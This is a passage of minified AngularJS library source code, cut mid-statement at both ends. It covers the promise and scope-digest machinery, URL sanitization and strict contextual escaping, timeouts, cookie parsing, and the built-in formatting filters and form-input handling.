ut(t,p,n)},t)}}),nt=w,s.prototype=f.prototype,s.defer=tt,s.reject=p,s.when=w,s.resolve=nt,s.all=function(n){var i=new f,r=0,u=c(n)?[]:{};return t(n,function(n,t){r++;w(n).then(function(n){u[t]=n;--r||h(i,u)},function(n){a(i,n)})}),0===r&&h(i,u),i},s.race=function(n){var i=tt();return t(n,function(n){w(n).then(i.resolve,i.reject)}),i.promise},s}function ay(){this.$get=["$window","$timeout",function(n,t){var i=n.requestAnimationFrame||n.webkitRequestAnimationFrame,f=n.cancelAnimationFrame||n.webkitCancelAnimationFrame||n.webkitCancelRequestAnimationFrame,r=!!i,u=r?function(n){var t=i(n);return function(){f(t)}}:function(n){var i=t(n,16.66,!1);return function(){t.cancel(i)}};return u.supported=r,u}]}function vy(){function h(n){function t(){this.$$watchers=this.$$nextSibling=this.$$childHead=this.$$childTail=null;this.$$listeners={};this.$$listenerCount={};this.$$watchersCount=0;this.$id=++tf;this.$$ChildScope=null;this.$$suspended=!1}return t.prototype=n,t}var r=10,f=l("$rootScope"),n=null,i=null;this.digestTtl=function(n){return arguments.length&&(r=n),r};this.$get=["$exceptionHandler","$parse","$browser",function(c,l,a){function ft(n){n.currentScope.$$destroyed=!0}function b(n){9===wt&&(n.$$childHead&&b(n.$$childHead),n.$$nextSibling&&b(n.$$nextSibling));n.$parent=n.$$nextSibling=n.$$prevSibling=n.$$childHead=n.$$childTail=n.$root=n.$$watchers=null}function p(){this.$id=++tf;this.$$phase=this.$parent=this.$$watchers=this.$$nextSibling=this.$$prevSibling=this.$$childHead=this.$$childTail=null;this.$root=this;this.$$suspended=this.$$destroyed=!1;this.$$listeners={};this.$$listenerCount={};this.$$watchersCount=0;this.$$isolateBindings=null}function nt(n){if(v.$$phase)throw f("inprog",v.$$phase);v.$$phase=n}function k(n,t){do n.$$watchersCount+=t;while(n=n.$parent)}function tt(n,t,i){do n.$$listenerCount[i]-=t,0===n.$$listenerCount[i]&&delete n.$$listenerCount[i];while(n=n.$parent)}function rt(){}function ut(){for(;d.length;)try{d.shift()()}catch(n){c(n)}i=null}function et(){null===i&&(i=a.defer(function(){v.$apply(ut)},null,"$applyAsync"))}p.prototype={constructor:p,$new:function(n,t){var i;return t=t||this,n?(i=new p,i.$root=this.$root):(this.$$ChildScope||(this.$$ChildScope=h(this)),i=new this.$$ChildScope),i.$parent=t,i.$$prevSibling=t.$$childTail,t.$$childHead?(t.$$childTail.$$nextSibling=i,t.$$childTail=i):t.$$childHead=t.$$childTail=i,(n||t!==this)&&i.$on("$destroy",ft),i},$watch:function(t,i,r,u){var o=l(t);if(i=e(i)?i:s,o.$$watchDelegate)return o.$$watchDelegate(this,i,r,o,t);var h=this,f=h.$$watchers,c={fn:i,last:rt,get:o,exp:u||t,eq:!!r};return n=null,f||(f=h.$$watchers=[],f.$$digestWatchIndex=-1),f.unshift(c),f.$$digestWatchIndex++,k(this,1),function(){var t=hr(f,c);0<=t&&(k(h,-1),t<f.$$digestWatchIndex&&f.$$digestWatchIndex--);n=null}},$watchGroup:function(n,i){function c(){o=!1;try{h?(h=!1,i(r,r,u)):i(r,f,u)}finally{for(var t=0;t<n.length;t++)f[t]=r[t]}}var f=Array(n.length),r=Array(n.length),e=[],u=this,o=!1,h=!0,s;return n.length?1===n.length?this.$watch(n[0],function(n,t,u){r[0]=n;f[0]=t;i(r,n===t?r:f,u)}):(t(n,function(n,t){var i=u.$watch(n,function(n){r[t]=n;o||(o=!0,u.$evalAsync(c))});e.push(i)}),function(){for(;e.length;)e.shift()()}):(s=!0,u.$evalAsync(function(){s&&i(r,r,u)}),function(){s=!1})},$watchCollection:function(n,t){function h(n){i=n;var t,c,s,h;if(!u(i)){if(o(i))if(ti(i))for(r!==a&&(r=a,e=r.length=0,f++),n=i.length,e!==n&&(f++,r.length=e=n),t=0;t<n;t++)h=r[t],s=i[t],c=h!==h&&s!==s,c||h===s||(f++,r[t]=s);else{r!==v&&(r=v={},e=0,f++);n=0;for(t in i)pt.call(i,t)&&(n++,s=i[t],h=r[t],t in r?(c=h!==h&&s!==s,c||h===s||(f++,r[t]=s)):(e++,r[t]=s,f++));if(e>n)for(t in f++,r)pt.call(i,t)||(e--,delete r[t])}else r!==i&&(r=i,f++);return f}}h.$$pure=l(n).literal;h.$stateful=!h.$$pure;var c=this,i,r,s,p=1<t.length,f=0,w=l(n,h),a=[],v={},y=!0,e=0;return this.$watch(w,function(){if(y?(y=!1,t(i,i,c)):t(i,s,c),p)if(o(i))if(ti(i)){s=Array(i.length);for(var n=0;n<i.length;n++)s[n]=i[n]}else for(n in s={},i)pt.call(i,n)&&(s[n]=i[n]);else s=i})},$digest:function(){var u,s,h,p,et,o,l,tt=r,t,ft=y.length?v:this,b=[],k,d;nt("$digest");a.$$checkUrlChange();this===v&&null!==i&&(a.defer.cancel(i),ut());n=null;do{for(l=!1,t=ft,o=0;o<y.length;o++){try{d=y[o];p=d.fn;p(d.scope,d.locals)}catch(ot){c(ot)}n=null}y.length=0;n:do{if(o=!t.$$suspended&&t.$$watchers)for(o.$$digestWatchIndex=o.length;o.$$digestWatchIndex--;)try{if(u=o[o.$$digestWatchIndex])if(et=u.get,(s=et(t))===(h=u.last)||(u.eq?at(s,h):it(s)&&it(h))){if(u===n){l=!1;break n}}else l=!0,n=u,u.last=u.eq?fi(s,null):s,p=u.fn,p(s,h===rt?s:h,t),5>tt&&(k=4-tt,b[k]||(b[k]=[]),b[k].push({msg:e(u.exp)?"fn: "+(u.exp.name||u.exp.toString()):u.exp,newVal:s,oldVal:h}))}catch(st){c(st)}if(!(o=!t.$$suspended&&t.$$watchersCount&&t.$$childHead||t!==ft&&t.$$nextSibling))for(;t!==ft&&!(o=t.$$nextSibling);)t=t.$parent}while(t=o);if((l||y.length)&&!tt--)throw v.$$phase=null,f("infdig",r,b);}while(l||y.length);for(v.$$phase=null;g<w.length;)try{w[g++]()}catch(ht){c(ht)}w.length=g=0;a.$$checkUrlChange()},$suspend:function(){this.$$suspended=!0},$isSuspended:function(){return this.$$suspended},$resume:function(){this.$$suspended=!1},$destroy:function(){var n,t;if(!this.$$destroyed){n=this.$parent;this.$broadcast("$destroy");this.$$destroyed=!0;this===v&&a.$$applicationDestroyed();k(this,-this.$$watchersCount);for(t in this.$$listenerCount)tt(this,this.$$listenerCount[t],t);n&&n.$$childHead===this&&(n.$$childHead=this.$$nextSibling);n&&n.$$childTail===this&&(n.$$childTail=this.$$prevSibling);this.$$prevSibling&&(this.$$prevSibling.$$nextSibling=this.$$nextSibling);this.$$nextSibling&&(this.$$nextSibling.$$prevSibling=this.$$prevSibling);this.$destroy=this.$digest=this.$apply=this.$evalAsync=this.$applyAsync=s;this.$on=this.$watch=this.$watchGroup=function(){return s};this.$$listeners={};this.$$nextSibling=null;b(this)}},$eval:function(n,t){return l(n)(this,t)},$evalAsync:function(n,t){v.$$phase||y.length||a.defer(function(){y.length&&v.$digest()},null,"$evalAsync");y.push({scope:this,fn:l(n),locals:t})},$$postDigest:function(n){w.push(n)},$apply:function(n){try{nt("$apply");try{return this.$eval(n)}finally{v.$$phase=null}}catch(i){c(i)}finally{try{v.$digest()}catch(t){throw c(t),t;}}},$applyAsync:function(n){function t(){i.$eval(n)}var i=this;n&&d.push(t);n=l(n);et()},$on:function(n,t){var r=this.$$listeners[n],i,u;r||(this.$$listeners[n]=r=[]);r.push(t);i=this;do i.$$listenerCount[n]||(i.$$listenerCount[n]=0),i.$$listenerCount[n]++;while(i=i.$parent);return u=this,function(){var i=r.indexOf(t);-1!==i&&(delete r[i],tt(u,1,n))}},$emit:function(n){var o=[],r,i=this,e=!1,u={name:n,targetScope:i,stopPropagation:function(){e=!0},preventDefault:function(){u.defaultPrevented=!0},defaultPrevented:!1},s=cr([u],arguments,1),t,f;do{for(r=i.$$listeners[n]||o,u.currentScope=i,t=0,f=r.length;t<f;t++)if(r[t])try{r[t].apply(null,s)}catch(h){c(h)}else r.splice(t,1),t--,f--;if(e)break;i=i.$parent}while(i);return u.currentScope=null,u},$broadcast:function(n){var t=this,i=this,u={name:n,targetScope:this,preventDefault:function(){u.defaultPrevented=!0},defaultPrevented:!1},e,r,f;if(!this.$$listenerCount[n])return u;for(e=cr([u],arguments,1);t=i;){for(u.currentScope=t,i=t.$$listeners[n]||[],r=0,f=i.length;r<f;r++)if(i[r])try{i[r].apply(null,e)}catch(o){c(o)}else i.splice(r,1),r--,f--;if(!(i=t.$$listenerCount[n]&&t.$$childHead||t!==this&&t.$$nextSibling))for(;t!==this&&!(i=t.$$nextSibling);)t=t.$parent}return u.currentScope=null,u}};var v=new p,y=v.$$asyncQueue=[],w=v.$$postDigestQueue=[],d=v.$$applyAsyncQueue=[],g=0;return v}]}function yy(){var n=/^\s*(https?|s?ftp|mailto|tel|file):/,t=/^\s*((https?|ftp|file|blob):|data:image\/)/;this.aHrefSanitizationTrustedUrlList=function(t){return r(t)?(n=t,this):n};this.imgSrcSanitizationTrustedUrlList=function(n){return r(n)?(t=n,this):t};this.$get=function(){return function(i,r){var f=r?t:n,u=ut(i&&i.trim()).href;return""===u||u.match(f)?i:"unsafe:"+u}}}function py(n){if("self"===n)return n;if(h(n)){if(-1<n.indexOf("***"))throw ri("iwcard",n);return n=ac(n).replace(/\\\*\\\*/g,".*").replace(/\\\*/g,"[^:/.?&;]*"),new RegExp("^"+n+"$")}if(er(n))return new RegExp("^"+n.source+"$");throw ri("imatcher");}function ah(n){var i=[];return r(n)&&t(n,function(n){i.push(py(n))}),i}function wy(){this.SCE_CONTEXTS=k;var t=["self"],i=[];this.trustedResourceUrlList=function(n){return arguments.length&&(t=ah(n)),t};Object.defineProperty(this,"resourceUrlWhitelist",{get:function(){return this.trustedResourceUrlList},set:function(n){this.trustedResourceUrlList=n}});this.bannedResourceUrlList=function(n){return arguments.length&&(i=ah(n)),i};Object.defineProperty(this,"resourceUrlBlacklist",{get:function(){return this.bannedResourceUrlList},set:function(n){this.bannedResourceUrlList=n}});this.$get=["$injector","$$sanitizeUri",function(r,f){function c(t,i){var r;return"self"===t?(r=pe(i,tl))||(n.document.baseURI?r=n.document.baseURI:(rr||(rr=n.document.createElement("a"),rr.href=".",rr=rr.cloneNode(!1)),r=rr.href),r=pe(i,r)):r=!!t.exec(i.href),r}function s(n){var t=function(n){this.$$unwrapTrustedValue=function(){return n}};return n&&(t.prototype=new n),t.prototype.valueOf=function(){return this.$$unwrapTrustedValue()},t.prototype.toString=function(){return this.$$unwrapTrustedValue().toString()},t}var l=function(){throw ri("unsafe");},h,o;return r.has("$sanitize")&&(l=r.get("$sanitize")),h=s(),o={},o[k.HTML]=s(h),o[k.CSS]=s(h),o[k.MEDIA_URL]=s(h),o[k.URL]=s(o[k.MEDIA_URL]),o[k.JS]=s(h),o[k.RESOURCE_URL]=s(o[k.URL]),{trustAs:function(n,t){var i=o.hasOwnProperty(n)?o[n]:null;if(!i)throw ri("icontext",n,t);if(null===t||u(t)||""===t)return t;if("string"!=typeof t)throw ri("itype",n);return new i(t)},getTrusted:function(n,r){var h,s,v,a;if(null===r||u(r)||""===r)return r;if(h=o.hasOwnProperty(n)?o[n]:null,h&&r instanceof h)return r.$$unwrapTrustedValue();if(e(r.$$unwrapTrustedValue)&&(r=r.$$unwrapTrustedValue()),n===k.MEDIA_URL||n===k.URL)return f(r.toString(),n===k.MEDIA_URL);if(n===k.RESOURCE_URL){for(h=ut(r.toString()),a=!1,s=0,v=t.length;s<v;s++)if(c(t[s],h)){a=!0;break}if(a)for(s=0,v=i.length;s<v;s++)if(c(i[s],h)){a=!1;break}if(a)return r;throw ri("insecurl",r.toString());}if(n===k.HTML)return l(r);throw ri("unsafe");},valueOf:function(n){return n instanceof h?n.$$unwrapTrustedValue():n}}}]}function by(){var n=!0;this.enabled=function(t){return arguments.length&&(n=!!t),n};this.$get=["$parse","$sceDelegate",function(i,r){var u;if(n&&8>wt)throw ri("iequirks");u=vt(k);u.isEnabled=function(){return n};u.trustAs=r.trustAs;u.getTrusted=r.getTrusted;u.valueOf=r.valueOf;n||(u.trustAs=u.getTrusted=function(n,t){return t},u.valueOf=ui);u.parseAs=function(n,t){var r=i(t);return r.literal&&r.constant?r:i(t,function(t){return u.getTrusted(n,t)})};var f=u.parseAs,e=u.getTrusted,o=u.trustAs;return t(k,function(n,t){var i=a(t);u[("parse_as_"+i).replace(po,ru)]=function(t){return f(n,t)};u[("get_trusted_"+i).replace(po,ru)]=function(t){return e(n,t)};u[("trust_as_"+i).replace(po,ru)]=function(t){return o(n,t)}}),u}]}function ky(){this.$get=["$window","$document",function(n,t){var r={},h=!((!n.nw||!n.nw.process)&&n.chrome&&(n.chrome.app&&n.chrome.app.runtime||!n.chrome.app&&n.chrome.runtime&&n.chrome.runtime.id))&&n.history&&n.history.pushState,e=rt((/android (\d+)/.exec(a((n.navigator||{}).userAgent))||[])[1]),c=/Boxee/i.test((n.navigator||{}).userAgent),f=t[0]||{},i=f.body&&f.body.style,o=!1,s=!1;return i&&(o=!!("transition"in i||"webkitTransition"in i),s=!!("animation"in i||"webkitAnimation"in i)),{history:!(!h||4>e||c),hasEvent:function(n){if("input"===n&&wt)return!1;if(u(r[n])){var t=f.createElement("div");r[n]="on"+n in t}return r[n]},csp:li(),transitions:o,animations:s,android:e}}]}function dy(){this.$get=ot(function(n){return new gy(n)})}function gy(n){function f(){var n=i.pop();return n&&n.cb}function e(n){for(var r,t=i.length-1;0<=t;--t)if(r=i[t],r.type===n)return i.splice(t,1),r.cb}var t={},i=[],r=this.ALL_TASKS_TYPE="$$all$$",u=this.DEFAULT_TASK_TYPE="$$default$$";this.completeTask=function(i,o){var s,h;o=o||u;try{i()}finally{if(s=o||u,t[s]&&(t[s]--,t[r]--),s=t[o],h=t[r],!h||!s)for(s=h?e:f;h=s(o);)try{h()}catch(c){n.error(c)}}};this.incTaskCount=function(n){n=n||u;t[n]=(t[n]||0)+1;t[r]=(t[r]||0)+1};this.notifyWhenNoPendingTasks=function(n,u){u=u||r;t[u]?i.push({type:u,cb:n}):n()}}function np(){var n;this.httpOptions=function(t){return t?(n=t,this):n};this.$get=["$exceptionHandler","$templateCache","$http","$q","$sce",function(t,i,r,f,e){function o(s,l){o.totalPendingRequests++;(!h(s)||u(i.get(s)))&&(s=e.getTrustedResourceUrl(s));var a=r.defaults&&r.defaults.transformResponse;return c(a)?a=a.filter(function(n){return n!==ce}):a===ce&&(a=null),r.get(s,v({cache:i,transformResponse:a},n)).finally(function(){o.totalPendingRequests--}).then(function(n){return i.put(s,n.data)},function(n){return l||(n=sb("tpload",s,n.status,n.statusText),t(n)),f.reject(n)})}return o.totalPendingRequests=0,o}]}function tp(){this.$get=["$rootScope","$browser","$location",function(n,i,r){return{findBindings:function(n,i,r){n=n.getElementsByClassName("ng-binding");var u=[];return t(n,function(n){var f=et.element(n).data("$binding");f&&t(f,function(t){r?new RegExp("(^|\\s)"+ac(i)+"(\\s|\\||$)").test(t)&&u.push(n):-1!==t.indexOf(i)&&u.push(n)})}),u},findModels:function(n,t,i){for(var f,u=["ng-","data-ng-","ng\\:"],r=0;r<u.length;++r)if(f=n.querySelectorAll("["+u[r]+"model"+(i?"=":"*=")+'"'+t+'"]'),f.length)return f},getLocation:function(){return r.url()},setLocation:function(t){t!==r.url()&&(r.url(t),n.$digest())},whenStable:function(n){i.notifyWhenNoOutstandingRequests(n)}}}]}function ip(){this.$get=["$rootScope","$browser","$q","$$q","$exceptionHandler",function(n,t,i,u,f){function h(h,c,l){e(h)||(l=c,c=h,h=s);var w=ni.call(arguments,3),p=r(l)&&!l,a=(p?u:i).defer(),v=a.promise,y;return y=t.defer(function(){try{a.resolve(h.apply(null,w))}catch(t){a.reject(t);f(t)}finally{delete o[v.$$timeoutId]}p||n.$apply()},c,"$timeout"),v.$$timeoutId=y,o[y]=a,v}var o={};return h.cancel=function(n){if(!n)return!1;if(!n.hasOwnProperty("$$timeoutId"))throw hb("badprom");if(!o.hasOwnProperty(n.$$timeoutId))return!1;n=n.$$timeoutId;var i=o[n],r=i.promise;return r.$$state&&(r.$$state.pur=!0),i.reject("canceled"),delete o[n],t.defer.cancel(n)},h}]}function ut(n){return h(n)?(wt&&(g.setAttribute("href",n),n=g.href),g.setAttribute("href",n),n=g.hostname,!il&&-1<n.indexOf(":")&&(n="["+n+"]"),{href:g.href,protocol:g.protocol?g.protocol.replace(/:$/,""):"",host:g.host,search:g.search?g.search.replace(/^\?/,""):"",hash:g.hash?g.hash.replace(/^#/,""):"",hostname:n,port:g.port,pathname:"/"===g.pathname.charAt(0)?g.pathname:"/"+g.pathname}):n}function rp(n){var t=[tl].concat(n.map(ut));return function(n){return n=ut(n),t.some(pe.bind(null,n))}}function pe(n,t){return n=ut(n),t=ut(t),n.protocol===t.protocol&&n.host===t.host}function up(){this.$get=ot(n)}function vh(n){function r(n){try{return decodeURIComponent(n)}catch(t){return n}}var f=n[0]||{},t={},i="";return function(){var n,e,o,s,h;try{n=f.cookie||""}catch(c){n=""}if(n!==i)for(i=n,n=i.split("; "),t={},o=0;o<n.length;o++)e=n[o],s=e.indexOf("="),0<s&&(h=r(e.substring(0,s)),u(t[h])&&(t[h]=r(e.substring(s+1))));return t}}function fp(){this.$get=vh}function yh(n){function i(r,u){if(o(r)){var f={};return t(r,function(n,t){f[t]=i(t,n)}),f}return n.factory(r+"Filter",u)}this.register=i;this.$get=["$injector",function(n){return function(t){return n.get(t+"Filter")}}];i("currency",ph);i("date",gh);i("filter",ep);i("json",cp);i("limitTo",lp);i("lowercase",fl);i("number",wh);i("orderBy",nc);i("uppercase",el)}function ep(){return function(n,t,i,r){if(!ti(n)){if(null==n)return n;throw l("filter")("notarray",n);}r=r||"$";var u;switch(we(t)){case"function":break;case"boolean":case"null":case"number":case"string":u=!0;case"object":t=op(t,i,r,u);break;default:return n}return Array.prototype.filter.call(n,t)}}function op(n,t,i,r){var f=o(n)&&i in n;return!0===t?t=at:e(t)||(t=function(n,t){return u(n)?!1:null===n||null===t?n===t:o(t)||o(n)&&!wf(n)?!1:(n=a(""+n),t=a(""+t),-1!==n.indexOf(t))}),function(u){return f&&!o(u)?si(u,n[i],t,i,!1):si(u,n,t,i,r)}}function si(n,t,i,r,f,o){var h=we(n),l=we(t),s;if("string"===l&&"!"===t.charAt(0))return!si(n,t.substring(1),i,r,f);if(c(n))return n.some(function(n){return si(n,t,i,r,f)});switch(h){case"object":if(f){for(s in n)if(s.charAt&&"$"!==s.charAt(0)&&si(n[s],t,i,r,!0))return!0;return o?!1:si(n,t,i,r,!1)}if("object"===l){for(s in t)if(o=t[s],!e(o)&&!u(o)&&(h=s===r,!si(h?n:n[s],o,i,r,h,h)))return!1;return!0}return i(n,t);case"function":return!1;default:return i(n,t)}}function we(n){return null===n?"null":typeof n}function ph(n){var t=n.NUMBER_FORMATS;return function(n,i,r){u(i)&&(i=t.CURRENCY_SYM);u(r)&&(r=t.PATTERNS[1].maxFrac);var f=i?/\u00A4/g:/\s*\u00A4\s*/g;return null==n?n:bh(n,t.PATTERNS[1],t.GROUP_SEP,t.DECIMAL_SEP,r).replace(f,i)}}function wh(n){var t=n.NUMBER_FORMATS;return function(n,i){return null==n?n:bh(n,t.PATTERNS[0],t.GROUP_SEP,t.DECIMAL_SEP,i)}}function sp(n){var e=0,r,t,i,f,u;for(-1<(t=n.indexOf(ul))&&(n=n.replace(ul,"")),0<(i=n.search(/e/i))?(0>t&&(t=i),t+=+n.slice(i+1),n=n.substring(0,i)):0>t&&(t=n.length),i=0;n.charAt(i)===wo;i++);if(i===(u=n.length))r=[0],t=1;else{for(u--;n.charAt(u)===wo;)u--;for(t-=i,r=[],f=0;i<=u;i++,f++)r[f]=+n.charAt(i)}return t>rl&&(r=r.splice(0,rl-1),e=t-1,t=1),{d:r,e:e,i:t}}function hp(n,t,i,r){var f=n.d,o=f.length-n.i,e;if(t=u(t)?Math.min(Math.max(i,o),r):+t,i=t+n.i,r=f[i],0<i)for(f.splice(Math.max(n.i,i)),e=i;e<f.length;e++)f[e]=0;else for(o=Math.max(0,o),n.i=1,f.length=Math.max(1,i=t+1),f[0]=0,e=1;e<i;e++)f[e]=0;if(5<=r)if(0>i-1){for(r=0;r>i;r--)f.unshift(0),n.i++;f.unshift(1);n.i++}else f[i-1]++;for(;o<Math.max(0,t);o++)f.push(0);(t=f.reduceRight(function(n,t,i,r){return t+=n,r[i]=t%10,Math.floor(t/10)},0))&&(f.unshift(t),n.i++)}function bh(n,t,i,r,u){if(!h(n)&&!nt(n)||isNaN(n))return"";var s=!isFinite(n),o=!1,e=Math.abs(n)+"",f="";if(s)f="∞";else{for(o=sp(e),hp(o,u,t.minFrac,t.maxFrac),f=o.d,e=o.i,u=o.e,s=[],o=f.reduce(function(n,t){return n&&!t},!0);0>e;)f.unshift(0),e++;for(0<e?s=f.splice(e,f.length):(s=f,f=[0]),e=[],f.length>=t.lgSize&&e.unshift(f.splice(-t.lgSize,f.length).join(""));f.length>t.gSize;)e.unshift(f.splice(-t.gSize,f.length).join(""));f.length&&e.unshift(f.join(""));f=e.join(i);s.length&&(f+=r+s.join(""));u&&(f+="e+"+u)}return 0>n&&!o?t.negPre+f+t.negSuf:t.posPre+f+t.posSuf}function pu(n,t,i,r){var u="";for((0>n||r&&0>=n)&&(r?n=-n+1:(n=-n,u="-")),n=""+n;n.length<t;)n=wo+n;return i&&(n=n.substr(n.length-t)),u+n}function tt(n,t,i,r,u){return i=i||0,function(f){return f=f["get"+n](),(0<i||f>-i)&&(f+=i),0===f&&-12===i&&(f=12),pu(f,t,r,u)}}function pr(n,t,i){return function(r,u){var f=r["get"+n](),e=gu((i?"STANDALONE":"")+(t?"SHORT":"")+n);return u[e][f]}}function kh(n){var t=new Date(n,0,1).getDay();return new Date(n,0,(4>=t?5:12)-t)}function dh(n){return function(t){var i=kh(t.getFullYear());return t=+new Date(t.getFullYear(),t.getMonth(),t.getDate()+(4-t.getDay()))-+i,t=1+Math.round(t/6048e5),pu(t,n)}}function be(n,t){return 0>=n.getFullYear()?t.ERAS[0]:t.ERAS[1]}function gh(n){function i(n){var t;if(t=n.match(r)){n=new Date(0);var i=0,u=0,f=t[8]?n.setUTCFullYear:n.setFullYear,e=t[8]?n.setUTCHours:n.setHours;t[9]&&(i=rt(t[9]+t[10]),u=rt(t[9]+t[11]));f.call(n,rt(t[1]),rt(t[2])-1,rt(t[3]));i=rt(t[4]||0)-i;u=rt(t[5]||0)-u;f=rt(t[6]||0);t=Math.round(1e3*parseFloat("0."+(t[7]||0)));e.call(n,i,u,f,t)}return n}var r=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/;return function(r,u,f){var c="",e=[],s,l,o;if(u=u||"mediumDate",u=n.DATETIME_FORMATS[u]||u,h(r)&&(r=ab.test(r)?rt(r):i(r)),nt(r)&&(r=new Date(r)),!st(r)||!isFinite(r.getTime()))return r;for(;u;)(l=lb.exec(u))?(e=cr(e,l,1),u=e.pop()):(e.push(u),u=null);return o=r.getTimezoneOffset(),f&&(o=gf(f,o),r=ne(r,f,!0)),t(e,function(t){s=cb[t];c+=s?s(r,n.DATETIME_FORMATS,o):"''"===t?"'":t.replace(/(^'|'$)/g,"").replace(/''/g,"'")}),c}}function cp(){return function(n,t){return u(t)&&(t=2),lr(n,t)}}function lp(){return function(n,t,i){return(t=Infinity===Math.abs(Number(t))?Number(t):rt(t),it(t))?n:(nt(n)&&(n=n.toString()),!ti(n))?n:(i=!i||isNaN(i)?0:rt(i),i=0>i?Math.max(0,n.length+i):i,0<=t?ke(n,i,i+t):0===i?ke(n,t,n.length):ke(n,Math.max(0,i+t),i))}}function ke(n,t,i){return h(n)?n.slice(t,i):ni.call(n,t,i)}function nc(n){function r(t){return t.map(function(t){var r=1,i=ui,u;return e(t)?i=t:h(t)&&(("+"===t.charAt(0)||"-"===t.charAt(0))&&(r="-"===t.charAt(0)?-1:1,t=t.substring(1)),""!==t&&(i=n(t),i.constant)&&(u=i(),i=function(n){return n[u]})),{get:i,descending:r}})}function t(n){switch(typeof n){case"number":case"boolean":case"string":return!0;default:return!1}}function i(n,t){var f=0,u=n.type,i=t.type,r;return u===i?(i=n.value,r=t.value,"string"===u?(i=i.toLowerCase(),r=r.toLowerCase()):"object"===u&&(o(i)&&(i=n.index),o(r)&&(r=t.index)),i!==r&&(f=i<r?-1:1)):f="undefined"===u?1:"undefined"===i?-1:"null"===u?1:"null"===i?-1:u<i?-1:1,f}return function(n,u,f,o){if(null==n)return n;if(!ti(n))throw l("orderBy")("notarray",n);c(u)||(u=[u]);0===u.length&&(u=["+"]);var s=r(u),h=f?-1:1,a=e(o)?o:i;return n=Array.prototype.map.call(n,function(n,i){return{value:n,tieBreaker:{value:i,type:"number",index:i},predicateValues:s.map(function(r){var u=r.get(n);if(r=typeof u,null===u)r="null";else if("object"===r)n:{if(e(u.valueOf)&&(u=u.valueOf(),t(u)))break n;wf(u)&&(u=u.toString(),t(u))}return{value:u,type:r,index:i}})}}),n.sort(function(n,t){for(var u,r=0,f=s.length;r<f;r++)if(u=a(n.predicateValues[r],t.predicateValues[r]),u)return u*s[r].descending*h;return(a(n.tieBreaker,t.tieBreaker)||i(n.tieBreaker,t.tieBreaker))*h}),n.map(function(n){return n.value})}}function ki(n){return e(n)&&(n={link:n}),n.restrict=n.restrict||"AC",ot(n)}function wu(n,t,i,r,u){this.$$controls=[];this.$error={};this.$$success={};this.$pending=void 0;this.$name=u(t.name||t.ngForm||"")(i);this.$dirty=!1;this.$valid=this.$pristine=!0;this.$submitted=this.$invalid=!1;this.$$parentForm=ur;this.$$element=n;this.$$animate=r;tc(this)}function tc(n){n.$$classCache={};n.$$classCache[bl]=!(n.$$classCache[gr]=n.$$element.hasClass(gr))}function ic(n){function i(n,t,i){i&&!n.$$classCache[t]?(n.$$animate.addClass(n.$$element,t),n.$$classCache[t]=!0):!i&&n.$$classCache[t]&&(n.$$animate.removeClass(n.$$element,t),n.$$classCache[t]=!1)}function r(n,t,r){t=t?"-"+fs(t,"-"):"";i(n,gr+t,!0===r);i(n,bl+t,!1===r)}var f=n.set,t=n.unset;n.clazz.prototype.$setValidity=function(n,e,o){u(e)?(this.$pending||(this.$pending={}),f(this.$pending,n,o)):(this.$pending&&t(this.$pending,n,o),rc(this.$pending)&&(this.$pending=void 0));dt(e)?e?(t(this.$error,n,o),f(this.$$success,n,o)):(f(this.$error,n,o),t(this.$$success,n,o)):(t(this.$error,n,o),t(this.$$success,n,o));this.$pending?(i(this,"ng-pending",!0),this.$valid=this.$invalid=void 0,r(this,"",null)):(i(this,"ng-pending",!1),this.$valid=rc(this.$error),this.$invalid=!this.$valid,r(this,"",this.$valid));e=this.$pending&&this.$pending[n]?void 0:this.$error[n]?!1:this.$$success[n]?!0:null;r(this,n,e);this.$$parentForm.$setValidity(n,e,this)}}function rc(n){if(n)for(var t in n)if(n.hasOwnProperty(t))return!1;return!0}function de(n){n.$formatters.push(function(t){return n.$isEmpty(t)?t:t.toString()})}function di(n,t,i,r,f,e){var c=a(t[0].type),h,o,s,l;if(!f.android){h=!1;t.on("compositionstart",function(){h=!0});t.on("compositionupdate",function(n){(u(n.data)||""===n.data)&&(h=!1)});t.on("compositionend",function(){h=!1;s()})}if(s=function(n){if(o&&(e.defer.cancel(o),o=null),!h){var u=t.val();n=n&&n.type;"password"===c||i.ngTrim&&"false"===i.ngTrim||(u=p(u));(r.$viewValue!==u||""===u&&r.$$hasNativeValidators)&&r.$setViewValue(u,n)}},f.hasEvent("input"))t.on("input",s);else{l=function(n,t,i){o||(o=e.defer(function(){o=null;t&&t.value===i||s(n)}))};t.on("keydown",function(n){var t=n.keyCode;91===t||15<t&&19>t||37<=t&&40>=t||l(n,this,this.value)});if(f.hasEvent("paste"))t.on("paste cut drop",l)}t.on("change",s);if(vl[c]&&r.$$hasNativeValidators&&c===i.type)t.on("keydown wheel mousedown",function(n){if(!o){var t=this.validity,i=t.badInput,r=t.typeMismatch;o=e.defer(function(){o=null;t.badInput===i&&t.typeMismatch===r||s(n)})}});r.$render=function(){var n=r.$isEmpty(r.$viewValue)?"":r.$viewValue;t.val()!==n&&t.val(n)}}function bu(n,i){return function(r,u){var e,f;if(st(r))return r;if(h(r)){if('"'===r.charAt(0)&&'"'===r.charAt(r.length-1)&&(r=r.substring(1,r.length-1)),pb.test(r))return new Date(r);if(n.lastIndex=0,e=n.exec(r))return e.shift(),f=u?{yyyy:u.getFullYear(),MM:u.getMonth()+1,dd:u.getDate(),HH:u.getHours(),mm:u.getMinutes(),ss:u.getSeconds(),sss:u.getMilliseconds()/1e3}:{yyyy:1970,MM:1,dd:1,HH:0,mm:0,ss:0,sss:0},t(e,function(n,t){t<i.length&&(f[i[t]]=+n)}),e=new Date(f.yyyy,f.MM-1,f.dd,f.HH,f.mm,f.ss||0,1e3*f.sss||0),100>f.yyyy&&e.setFullYear(f.yyyy),e}return NaN}}function wr(n,t,i,f){return function(e,o,s,c,l,a,v,y){function tt(n){return n&&!(n.getTime&&n.getTime()!==n.getTime())}function b(n){return r(n)&&!st(n)?rt(n)||void 0:n}function rt(n,t){var u=c.$options.getOption("timezone"),r;return w&&w!==u&&(t=is(t,gf(w))),r=i(n,t),!isNaN(r)&&u&&(r=ne(r,u)),r}var it,p,w,k,d,g,nt;ge(e,o,s,c,n);di(e,o,s,c,l,a);it="time"===n||"datetimelocal"===n;c.$parsers.push(function(i){if(c.$isEmpty(i))return null;if(t.test(i))return rt(i,p);c.$$parserName=n});c.$formatters.push(function(n){var t,i;if(n&&!st(n))throw nu("datefmt",n);return 